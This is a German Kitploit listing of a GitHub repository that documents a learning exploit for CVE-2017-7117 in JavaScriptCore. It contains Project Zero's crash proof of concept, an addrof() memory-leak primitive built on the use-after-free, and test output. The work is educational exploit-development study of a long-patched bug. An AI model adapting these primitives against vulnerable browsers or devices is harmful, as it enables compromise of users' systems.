Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2017-7117 | Kitploit
Tools/GitHubGitHub/rebelle3/cve-2017-7117
iOS-SicherheitSpeicherforensikSchwachstellenanalyseExploitationShellcodeMobile SicherheitLernen & BildungBinary-Exploitation
GitHubrebelle3/cve-2017-7117

cve-2017-7117

Repository anzeigen
3vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

cve-2017-7117

Über den Fehler

Eine Type-Confusion und Use-After-Free (UAF), gefunden in iOS 10.3.4 und früher sowie Safari vor 11.0.

CVE-2017-7117: mitre.org

Originaler Proof of Concept

Entdeckt von @lokihardt, Quelle: Google Project Zero

root@kitploit:~
function f() {
  let o = {};
  for (let i in {xx: 0}) { // i is a String
    for (i of [0]) { // i is now a number, but JIT treats as String
    }
    print(o[i]); // whoops
  }  
}

f();

Das Ausführen des obigen Codes führt zum Absturz von JSC.

Der Exploit

Wir erzeugen ein großes Array arr, von dem der JIT-Compiler fälschlicherweise annimmt, dass es ein String ist.

root@kitploit:~
var arr = new Uint32Array(1 * 1024 * 1024 / 4); // 1mb | 1 item == 4 bytes
arr[4] = 0xb0; // to pass checks for the member m_hashAndFlags 

Wenn die Referenz auf i verloren geht, behalten wir Zugriff auf das ursprüngliche Array arr und können den zugrunde liegenden Speicher lesen.

Durch das Spraying eines bekannten Werts können wir dies finden und nach oben traversieren, um den Zeiger auf ein beliebiges Objekt zu lokalisieren.

root@kitploit:~
function addrof(obj) {

    // search the freed array for this number
    var locator = 0x1337;

    // spray the freed memory with the locator
    var sprays = [];
    for (var i = 0; i < 0x1000; ++i) {
        sprays.push(i % 2 == 0 ? locator : obj);
    }

    // find the first instance of the locator
    var found = null;
    for(var i = 0; i < arr.length; i++) {
        if(arr[i] == locator) {
            found = i
            break
        }
    }

    // the pointer for the object is 3 and 2 indicies after the locator
    return found && [arr[found + 3], arr[found + 2]]

}

Auf Werte wird im Speicher über ein Uint32Array zugegriffen, zuerst die niedrigen Bits, dann die hohen Bits.

root@kitploit:~
let target = {
    foo: "bar"
}

let address = addrof(target)
// address: 0x0000ffff8d178e60

Du kannst die Gültigkeit der Adresse mit describe() überprüfen.

root@kitploit:~
print(describe(target))
// Object: 0xffff8d178e60 with butterfly (nil) (0xffff9099bba0:[Object, {foo:0}, NonArray, Proto:0xffff909b00a0, Leaf]), ID: 244

Das Setup reproduzieren

Derzeit getestet auf:

  • Ubuntu 20.04.5 LTS ARM64
  • Verwundbarer JavaScriptCore (JSC) aus libwebkitgtk Version 2.16.0
    • Build-Archiv: launchpad.net
  • LLDB zur Speicherinspektion (optional)

Funktioniert (noch) nicht auf iPhone 5, iOS 10.3.4. Lass uns herausfinden, warum ...

Nächste Schritte?

  • Ein gefälschtes Objekt erstellen
  • Beliebigen Speicher lesen / schreiben
  • Jailbreak für iOS 10?

Wichtig

Dieses Repository dient als Lehrmaterial, um meinen Lernfortschritt in der Exploit-Entwicklung zu dokumentieren. Diese Schwachstelle (CVE) ist seit mehr als 7 Jahren gepatcht. Benutze dies selbstverständlich nicht für üble Zwecke.

Tool herunterladen